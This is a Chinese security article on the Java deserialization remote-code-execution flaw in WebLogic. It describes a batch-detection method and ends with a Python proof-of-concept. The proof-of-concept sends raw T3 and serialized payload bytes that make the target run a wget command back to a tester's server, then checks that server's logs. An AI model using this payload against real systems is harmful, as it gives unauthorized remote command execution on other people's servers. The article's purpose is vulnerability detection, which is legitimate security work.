前言
Java反序列漏洞出现在人们视野已经有一段时间了,魔方安全团队对这个漏洞进行了复现,同时研究出了一种准确性较高的批量检测的思路,在此与各位安全圈的朋友分享。
背景
2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。
其实早在2015年的1月28号,国外的安全研究员Gabriel Lawrence和Chris Frohoff在AppSecCali上给出了一个报告,报告中已
经指出Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行。
Java反序列漏洞简介
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectInputStream类的readObject()方法用于反序列化。下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复的样例代码:
public static void main(String args[]) throws Exception { String obj = "hello world!"; // 将序列化对象写入文件object.db中 FileOutputStream fos = new FileOutputStream("object.db"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); os.close(); // 从文件object.db中读取数据 FileInputStream fis = new FileInputStream("object.db"); ObjectInputStream ois = new ObjectInputStream(fis); // 通过反序列化恢复对象obj String obj2 = (String)ois.readObject(); ois.close(); }
问题在于,如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。
本文针对该漏洞的原理将不再详细描述,可参考长亭科技在11月初发布针对该漏洞的详细原理介绍: Lib之过?Java反序列化漏洞通用利用分析
漏洞检测
检测用工具
该漏洞的利用方法目前已经有成型的工具,其中包括国外研究者编写的 ysoserial ,以及国内研究者编写的 serial.jar ,均可以生成攻击payload。
检测思路
拓扑结构:
由于目前来说暂未发现可直接回显结果的方法,单纯检测包返回结果无法很精确的发现是否存在漏洞,因此我们采用了结合第三方的方式进行批量检查,检测服务器发送payload到受检测主机,受监测主机执行远程命令访问测试服务器打开的Web服务,登录测试服务器查看测试服务器的Web访问日志日志,确认受检测主机IP地址是否在日志文件上,测试服务器日志上存在受监测主机的IP地址,则可以确认受监测主机执行了命令,存在漏洞。
本次测试以使用最多的Weblogic为例,使用工具生成 payload ,payload中执行的命令为
wget http://x.x.x.x/libreversex.html
其中x.x.x.x为我们搭建用于接受wget命令的测试服务器的IP
然后利用 国外的POC 进行修改,在代码后面加入远程读取服务器日志,并匹配日志中是否存在该IP地址,其中读取目标服务器访问日志,我们使用了一个技巧,即将目标服务器的Web访问日志做个硬链接到Web目录下,这样就可以远程直接读取Web日志进行比对,确认该IP是否存在安全漏洞:
运行结果:
在批量检测过程中,我们发现并不是说仅有7001存在该安全漏洞,部分站点80端口也存在该漏洞,因为只要是接受T3协议的端口均会存在该安全漏洞。
检测方法总结
优点:
该检测方法直接通过执行命令方式并查看执行结果的方式进行检测,准确率高。
缺点:
1. 若内网防火墙禁止内部主机主动访问外部,则无法成功检测,因此存在漏报的可能。
2. 对于windows下的主机,由于无wget命令,无法使用该方式检测。
检测用测试代码
以下是WebLogic的POC,采用的BBT的框架:
#!/usr/bin/env python # coding=utf-8 import socket import sys import requests import base64 import string import urlparse import os import time import requests from baseframe import BaseFrame class MyPoc(BaseFrame): poc_info = { # poc相关信息 'poc': { 'id': 'poc-2015-1113', 'name': 'java反序列漏洞weblogic', 'author': 'vicky', 'create_date': '2015-11-13', }, # 协议相关信息 'protocol': { 'name': '*', 'port': ['*'], 'layer4_protocol': ['tcp'], }, # 漏洞相关信息 'vul': { 'app_name': 'java', 'vul_version': ['*'], 'type': '远程命令执行', 'tag': ['Java反序列漏洞', '远程命令执行', 'weblogic'], 'desc': ''' java 反序列漏洞使远程执行任意对象,配合weblogic中的Java反序列可使存在jenkins的系统远程执行命令 ''', 'references': ['http://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#rdd', ], }, } def _init_user_parser(self): self.user_parser.add_option('-p','--port', action='store', dest='port', type='int', default=6379, help='this poc need the port to connect redis' 'the default port is 6379.') @classmethod def verify(cls, args): ip=args['options']['target'] port=args['options']['port'] socket.setdefaulttimeout(5) payload='/x00/x00/x09/xfc/x01/x65/x01/xff/xff/xff/xff/xff/xff/xff/xff/x00/x00/x00/x71/x00/x00/xea/x60/x00/x00/x00/x18/x43/x2e/xc6/xa2/xa6/x39/x85/xb5/xaf/x7d/x63/xe6/x43/x83/xf4/x2a/x6d/x92/xc9/xe9/xaf/x0f/x94/x72/x02/x79/x73/x72/x00/x78/x72/x01/x78/x72/x02/x78/x70/x00/x00/x00/x0c/x00/x00/x00/x02/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x01/x00/x70/x70/x70/x70/x70/x70/x00/x00/x00/x0c/x00/x00/x00/x02/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x01/x00/x70/x06/xfe/x01/x00/x00/xac/xed/x00/x05/x73/x72/x00/x1d/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x72/x6a/x76/x6d/x2e/x43/x6c/x61/x73/x73/x54/x61/x62/x6c/x65/x45/x6e/x74/x72/x79/x2f/x52/x65/x81/x57/xf4/xf9/xed/x0c/x00/x00/x78/x70/x72/x00/x24/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x63/x6f/x6d/x6d/x6f/x6e/x2e/x69/x6e/x74/x65/x72/x6e/x61/x6c/x2e/x50/x61/x63/x6b/x61/x67/x65/x49/x6e/x66/x6f/xe6/xf7/x23/xe7/xb8/xae/x1e/xc9/x02/x00/x09/x49/x00/x05/x6d/x61/x6a/x6f/x72/x49/x00/x05/x6d/x69/x6e/x6f/x72/x49/x00/x0b/x70/x61/x74/x63/x68/x55/x70/x64/x61/x74/x65/x49/x00/x0c/x72/x6f/x6c/x6c/x69/x6e/x67/x50/x61/x74/x63/x68/x49/x00/x0b/x73/x65/x72/x76/x69/x63/x65/x50/x61/x63/x6b/x5a/x00/x0e/x74/x65/x6d/x70/x6f/x72/x61/x72/x79/x50/x61/x74/x63/x68/x4c/x00/x09/x69/x6d/x70/x6c/x54/x69/x74/x6c/x65/x74/x00/x12/x4c/x6a/x61/x76/x61/x2f/x6c/x61/x6e/x67/x2f/x53/x74/x72/x69/x6e/x67/x3b/x4c/x00/x0a/x69/x6d/x70/x6c/x56/x65/x6e/x64/x6f/x72/x71/x00/x7e/x00/x03/x4c/x00/x0b/x69/x6d/x70/x6c/x56/x65/x72/x73/x69/x6f/x6e/x71/x00/x7e/x00/x03/x78/x70/x77/x02/x00/x00/x78/xfe/x01/x00/x00' try : sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (ip, int(port)) headers='t3 12.2.1/nAS:255/nHL:19/nMS:10000000/nPU:t3://us-l-breens:7001/n/n' sock.connect(server_address) sock.sendall(headers) data = sock.recv(1024) except Exception,e: return args if "HELO" in data: try: payloadObj = open(“serial.wget”).read() payload=payload+payloadObj payload=payload+'/xfe/x01/x00/x00/xac/xed/x00/x05/x73/x72/x00/x1d/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x72/x6a/x76/x6d/x2e/x43/x6c/x61/x73/x73/x54/x61/x62/x6c/x65/x45/x6e/x74/x72/x79/x2f/x52/x65/x81/x57/xf4/xf9/xed/x0c/x00/x00/x78/x70/x72/x00/x21/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x63/x6f/x6d/x6d/x6f/x6e/x2e/x69/x6e/x74/x65/x72/x6e/x61/x6c/x2e/x50/x65/x65/x72/x49/x6e/x66/x6f/x58/x54/x74/xf3/x9b/xc9/x08/xf1/x02/x00/x07/x49/x00/x05/x6d/x61/x6a/x6f/x72/x49/x00/x05/x6d/x69/x6e/x6f/x72/x49/x00/x0b/x70/x61/x74/x63/x68/x55/x70/x64/x61/x74/x65/x49/x00/x0c/x72/x6f/x6c/x6c/x69/x6e/x67/x50/x61/x74/x63/x68/x49/x00/x0b/x73/x65/x72/x76/x69/x63/x65/x50/x61/x63/x6b/x5a/x00/x0e/x74/x65/x6d/x70/x6f/x72/x61/x72/x79/x50/x61/x74/x63/x68/x5b/x00/x08/x70/x61/x63/x6b/x61/x67/x65/x73/x74/x00/x27/x5b/x4c/x77/x65/x62/x6c/x6f/x67/x69/x63/x2f/x63/x6f/x6d/x6d/x6f/x6e/x2f/x69/x6e/x74/x65/x72/x6e/x61/x6c/x2f/x50/x61/x63/x6b/x61/x67/x65/x49/x6e/x66/x6f/x3b/x78/x72/x00/x24/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x63/x6f/x6d/x6d/x6f/x6e/x2e/x69/x6e/x74/x65/x72/x6e/x61/x6c/x2e/x56/x65/x72/x73/x69/x6f/x6e/x49/x6e/x66/x6f/x97/x22/x45/x51/x64/x52/x46/x3e/x02/x00/x03/x5b/x00/x08/x70/x61/x63/x6b/x61/x67/x65/x73/x71/x00/x7e/x00/x03/x4c/x00/x0e/x72/x65/x6c/x65/x61/x73/x65/x56/x65/x72/x73/x69/x6f/x6e/x74/x00/x12/x4c/x6a/x61/x76/x61/x2f/x6c/x61/x6e/x67/x2f/x53/x74/x72/x69/x6e/x67/x3b/x5b/x00/x12/x76/x65/x72/x73/x69/x6f/x6e/x49/x6e/x66/x6f/x41/x73/x42/x79/x74/x65/x73/x74/x00/x02/x5b/x42/x78/x72/x00/x24/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x63/x6f/x6d/x6d/x6f/x6e/x2e/x69/x6e/x74/x65/x72/x6e/x61/x6c/x2e/x50/x61/x63/x6b/x61/x67/x65/x49/x6e/x66/x6f/xe6/xf7/x23/xe7/xb8/xae/x1e/xc9/x02/x00/x09/x49/x00/x05/x6d/x61/x6a/x6f/x72/x49/x00/x05/x6d/x69/x6e/x6f/x72/x49/x00/x0b/x70/x61/x74/x63/x68/x55/x70/x64/x61/x74/x65/x49/x00/x0c/x72/x6f/x6c/x6c/x69/x6e/x67/x50/x61/x74/x63/x68/x49/x00/x0b/x73/x65/x72/x76/x69/x63/x65/x50/x61/x63/x6b/x5a/x00/x0e/x74/x65/x6d/x70/x6f/x72/x61/x72/x79/x50/x61/x74/x63/x68/x4c/x00/x09/x69/x6d/x70/x6c/x54/x69/x74/x6c/x65/x71/x00/x7e/x00/x05/x4c/x00/x0a/x69/x6d/x70/x6c/x56/x65/x6e/x64/x6f/x72/x71/x00/x7e/x00/x05/x4c/x00/x0b/x69/x6d/x70/x6c/x56/x65/x72/x73/x69/x6f/x6e/x71/x00/x7e/x00/x05/x78/x70/x77/x02/x00/x00/x78/xfe/x00/xff/xfe/x01/x00/x00/xac/xed/x00/x05/x73/x72/x00/x13/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x72/x6a/x76/x6d/x2e/x4a/x56/x4d/x49/x44/xdc/x49/xc2/x3e/xde/x12/x1e/x2a/x0c/x00/x00/x78/x70/x77/x46/x21/x00/x00/x00/x00/x00/x00/x00/x00/x00/x09/x31/x32/x37/x2e/x30/x2e/x31/x2e/x31/x00/x0b/x75/x73/x2d/x6c/x2d/x62/x72/x65/x65/x6e/x73/xa5/x3c/xaf/xf1/x00/x00/x00/x07/x00/x00/x1b/x59/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/x00/x78/xfe/x01/x00/x00/xac/xed/x00/x05/x73/x72/x00/x13/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x72/x6a/x76/x6d/x2e/x4a/x56/x4d/x49/x44/xdc/x49/xc2/x3e/xde/x12/x1e/x2a/x0c/x00/x00/x78/x70/x77/x1d/x01/x81/x40/x12/x81/x34/xbf/x42/x76/x00/x09/x31/x32/x37/x2e/x30/x2e/x31/x2e/x31/xa5/x3c/xaf/xf1/x00/x00/x00/x00/x00/x78' sock.send(payload) time.sleep(10) data=requests.get('http://IP:PORT/log.log') if data.content.count(str(ip)) > 0: args['success'] = True args['poc_ret']['ip'] = ip args['poc_ret']['port']= port except Exception,e: return args return args exploit = verify if __name__ == '__main__': from pprint import pprint mp = MyPoc() pprint(mp.run())
参考资料:
http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://github.com/CaledoniaProject/jenkins-cli-exploit
http://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#rd
* 作者:CUBESEC Vicky,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)